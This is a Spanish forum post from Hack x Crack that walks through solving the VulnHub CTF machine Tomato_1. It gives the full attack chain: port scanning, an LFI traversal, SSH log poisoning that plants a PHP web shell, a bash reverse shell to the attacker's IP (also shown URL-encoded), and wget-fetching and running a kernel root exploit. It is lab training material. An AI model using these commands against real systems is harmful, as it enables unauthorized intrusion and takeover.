Inicio
Buscar
Ingresar
Registrarse
Starfield: el juego que revolucionará el espacio y la tecnología
Hack x Crack - Comunidad de Seguridad informática
»
Seguridad Informatica
»
Hacking
»
CTF - Tomato_1 [RESUELTO]
Imprimir
Páginas: [
1
]
Ir Abajo
Autor
Tema: CTF - Tomato_1 [RESUELTO] (Leído 3055 veces)
R3LI4NT
{ L4 } Geek
Mensajes: 396
El poder del usuario radica en su ANONIMATO.
CTF - Tomato_1 [RESUELTO]
«
en:
Junio 23, 2022, 03:01:20 am »
Nombre de la máquina: Tomato_1
O.S: Linux (Ubuntu)
Nivel: Medio-Difícil
Reto compartido en mi perfil de Github:
https://github.com/R3LI4NT/ctf-retos
Descargar desde vulnhub:
https://www.vulnhub.com/entry/tomato-1,557/
Paso 1):
Identificar la IP de la máquina host con NetDiscover.
Código: Text
netdiscover -i eth0
IP host: 192.168.1.10
Paso 2):
Escanear todos los puertos que estén abiertos con Nmap.
Código: Text
nmap -p- --open -sC -n -vvv 192.168.1.10
Puertos abiertos: [21,80,2211,8888]
Paso 3):
Detección de servicios y sistema operativo.
Código: Text
nmap -p 21,80,2211,8888 -A 192.168.1.10
Servidor corriendo: HTTP Apache
O.S: Linux (Ubuntu)
URL del servidor:
http://192.168.1.10
En el puerto 8888 se encuentra corriendo el servidor Nginx (http:192.168.1.10:8888).
Paso 4):
Enumerar archivos y directorios con Dirb.
Código: Text
dirb http://192.168.1.10 /usr/share/dirb/wordlists/common.txt
Directorio:
http://192.168.1.10/antibot_image/
Al inspeccionar el código del archivo
info.php
, indica en un comentario que es posible subir una imagen con el método GET.
Código: Text
curl http://192.168.1.10/antibot_image/antibots/info.php
Paso 5):
Búsqueda de vulnerabilidad LFI (Inclusión de archivos locales).
Herramienta Tester:
https://github.com/kostas-pa/LFITester
LFI Payloads:
https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/master/LFI%20payloads.txt
Código: Text
python3 LFITester.py -L payloads.txt
URL:
Código: Text
Opción 1) http://192.168.1.10/antibot_image/antibots/info.php?image=../../../../../../../../../../../../etc/passwd
Opción 2) http://192.168.1.10/antibot_image/antibots/info.php?image=../../../../../../../../../../../../var/log/auth.log
/etc/passwd
/var/log/auth.log
Paso 6):
Envenenar registros de Apache a través de SSH creando una backdoor por el puerto 2211.
Código: Text
ssh '<?php system($_GET['cmd']); ?>'@192.168.1.10 -p 2211
Paso 7):
Configurar proxy y capturar solicitud GET con BurpSuite.
Configuración de Firefox
>
Configuración de redes
>
Configuración de proxy manual
HTTP Proxy: 127.0.0.1
Port: 8080
Acceder a la URL:
http://192.168.1.10/antibot_image/antibots/info.php?image=../../../../../../../../../../../../var/log/auth.log&cmd=
BurpSuite capturará la solicitud GET y a la misma se le agregará comandos extras para acceder al interior de la máquina con una reverse shell:
Código: Text
http://192.168.1.10/antibot_image/antibots/info.php?image=../../../../../../../../../../../../var/log/auth.log&cmd=bash -c 'bash -i >& /dev/tcp/192.168.1.9/4444 0>&1'
Reverse Shell Cheat Sheet:
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Antes de obtener un reverse shell, es preciso codificar los comandos extras. Convert selection
>
URL
>
URL-encode all characters
Código: Text
antibot_image/antibots/info.php?image=../../../../../../../../../../../../var/log/auth.log&cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%2e%39%2f%34%34%34%34%20%30%3e%26%31%27
Después, ponemos a netcat en escucha por el puerto 4444 para obtener una reverse shell:
Código: Text
nc -lvnp 4444
Seleccionar la URL completa desde el proxy de Burp y hacer clic en Forward para enviar la petición GET maliciosa.
Paso 8]:
Escalar privilegios: buscar exploit y descargarlo con SearchSploit.
Versión del kernel:
4.4.0-21-generic
Código: Text
searchsploit -m 40616
Abrir un servidor local en el puerto 80 con Python3:
Código: Text
python3 -m http.server 5555
Descargar exploit en el directorio
/tmp
y compilar código:
Código: Text
cd /tmp
wget http://192.168.1.9:5555/40616.c
gcc-5 40616.c -o get_root -pthread
Ejecutar exploit y capturar la flag del directorio
/root
:
Código: Text
./get_root
cd /root
cat proof.txt
FLAG:
Sun_CSR_TEAM_TOMATO_JS_0232xx23
#R3LI4NT
«
Última modificación: Junio 23, 2022, 03:20:19 am por R3LI4NT
»
En línea
No contesto dudas por MP, si las tienes, las planteas en el foro.
Road To Hacking v3:
https://github.com/R3LI4NT/road-to-hacking
Imprimir
Páginas: [
1
]
Ir Arriba
Hack x Crack - Comunidad de Seguridad informática
»
Seguridad Informatica
»
Hacking
»
CTF - Tomato_1 [RESUELTO]
Va un mudo y le dice a un sordo: Hack x Crack usa cookies. Pues eso...
OK
Learn more